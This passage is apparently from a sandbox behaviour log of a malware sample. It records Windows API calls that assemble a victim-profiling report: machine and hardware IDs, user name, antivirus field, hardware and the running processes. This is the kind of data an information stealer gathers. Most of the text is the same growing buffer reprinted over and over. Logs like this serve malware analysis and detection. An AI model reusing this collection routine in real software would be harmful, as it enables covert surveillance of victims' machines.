[528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364"
[0054.874] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364", lpString2="]\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n"
[0054.874] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x654, pcPriClassBase=8, dwFlags=0x0, szExeFile="protect-violence.exe")) returned 1
[0054.875] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n", lpString2="- " | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- ") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- "
[0054.875] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- ", lpString2="protect-violence.exe" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe"
[0054.875] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe", lpString2=" [" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe ["
[0054.875] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67d9f8
[0054.875] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67d968
[0054.875] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.875] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [", lpString2="1288" | out: lpString1="Version: 